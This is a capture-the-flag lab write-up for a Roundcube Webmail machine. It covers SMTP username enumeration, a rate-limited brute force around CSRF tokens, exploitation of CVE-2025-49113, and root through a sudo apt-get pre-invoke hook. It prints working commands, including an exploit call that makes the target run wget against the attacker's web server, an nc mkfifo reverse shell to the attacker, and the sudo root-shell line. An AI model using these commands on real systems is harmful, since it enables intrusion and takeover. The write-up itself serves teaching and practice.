Overview

Aftermath is a Linux machine centred on Roundcube Webmail. SMTP user enumeration narrows down a valid username, and a custom brute-force script works around Roundcube’s per-request CSRF token to recover a working password. Authenticated access exposes an outdated Roundcube version vulnerable to CVE-2025-49113, a public exploit for which grants remote code execution and a reverse shell as www-data. Root is reached through a misconfigured sudo rule allowing passwordless execution of apt-get.

Attack Chain

  • Enumerate open services and identify SMTP, HTTP, and Roundcube Webmail
  • Use feroxbuster to discover the /roundcube endpoint
  • Enumerate valid usernames over SMTP with smtp-user-enum
  • Script a CSRF-token-aware brute force against Roundcube Webmail
  • Recover valid credentials for maria and read the initial flag
  • Identify Roundcube 1.5.9 as vulnerable to CVE-2025-49113
  • Exploit the CVE for authenticated remote code execution
  • Catch a reverse shell as www-data and read the user flag
  • Abuse a passwordless sudo apt-get rule via GTFOBins for a root shell
  • Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.1.119.104; export NAME=AFTERMATH; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

The open TCP ports are:

22,25,80

nmap results

Port 80 - http

Browsing to port 80 shows a landing page with a video playing and a short message, with no further content visible on the page itself.

landing page

We run feroxbuster to look for hidden endpoints.

feroxbuster -u http://$IP -o scans/feroxbuster_${NAME}_${PORT}_default.txt

Only one path is found, /roundcube.

feroxbuster results

Navigating to /roundcube shows a Roundcube Webmail login page.

roundcube webmail login

We send a login request with test:test, then a second one with admin:admin, and notice the _token value differs between the two requests.

First request:

csrf token request one

Second request:

csrf token request two

This confirms Roundcube Webmail protects its login with a CSRF token that is regenerated on every page load or request.

Port 25 - smtp

We have a users list and a passwords list. We run smtp-user-enum to verify which usernames are valid.

smtp-user-enum -U creds/names.txt -t $IP

smtp-user-enum default mode

We also run it with -M RCPT.

smtp-user-enum -M RCPT -U creds/names.txt -t $IP

smtp-user-enum RCPT mode

Both runs agree on two results. kali is most likely a false positive matching the hostname, so we focus on the user maria.

Initial Access

With a confirmed username and a password list, the obstacle is Roundcube’s CSRF token: hydra and ffuf can’t drive the login form directly, since each attempt needs a freshly generated token.

We script the brute force so a new token is fetched before every attempt. Trial and error shows the target only tolerates one request every 21 seconds before returning a Too Many failed login attempts error.

python3 exploits/roundcube_brute.py --host $IP --userlist creds/users_verified.txt --passwordlist creds/passwords.txt --delay 21 --timeout 15 --retries 2 -v

The script recovers a valid password.

brute force valid credential

Roundcube Webmail credentials:

maria:1qaz2wsx

We log in and read the initial flag.

roundcube login and flag

Foothold

Browsing to About shows we’re working with Roundcube Webmail 1.5.9.

roundcube about page

Versions of Roundcube Webmail below 1.6.10 are vulnerable to CVE-2025-49113, an authenticated remote code execution vulnerability.

Blog article explaining the vulnerability: https://fearsoff.org/research/roundcube

Public exploit: https://github.com/fearsoff-org/CVE-2025-49113

We test the exploit, first starting a Python web server on port 80. The exploit only needs the url, username, password, and command.

php CVE-2025-49113.php http://$IP/roundcube 'maria' '1qaz2wsx' 'wget http://10.200.96.156/roundcube_rce'

The exploit runs without any errors.

exploit runs successfully

The test request lands on our Python web server, confirming remote code execution.

rce confirmed on web server

We move to a reverse shell. A penelope listener is started on port 443, and we use an nc mkfifo payload from revshells.com.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.200.96.156 443 >/tmp/f

The reverse shell command executes without any errors.

reverse shell executes

We land a shell as www-data. The hostname is kali, confirming what smtp-user-enum suggested earlier.

shell as www-data

We read the user flag.

find / -name 'user.txt' -type f 2>/dev/null
ls -la /usr/user.txt
cat /usr/user.txt

user flag

Privilege Escalation

We check our privileges with sudo -l and find that www-data can run /usr/bin/apt-get with sudo.

sudo -l apt-get

GTFOBins documents a privilege escalation technique for sudo apt-get. https://gtfobins.org/gtfobins/apt-get/

gtfobins apt-get technique

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash

We get a shell as root.

root shell

We read the root flag.

root flag

Key Takeaways

Aftermath shows how a small SMTP information leak can snowball into full compromise. smtp-user-enum confirmed a valid username, and a CSRF-aware brute-force script worked around Roundcube’s per-request token protection to recover a working password. That access exposed an outdated Roundcube build vulnerable to CVE-2025-49113, turning authenticated webmail access into remote code execution. Root followed from a classic misconfiguration: a passwordless sudo rule on apt-get, abusable via its pre-invoke hook per GTFOBins.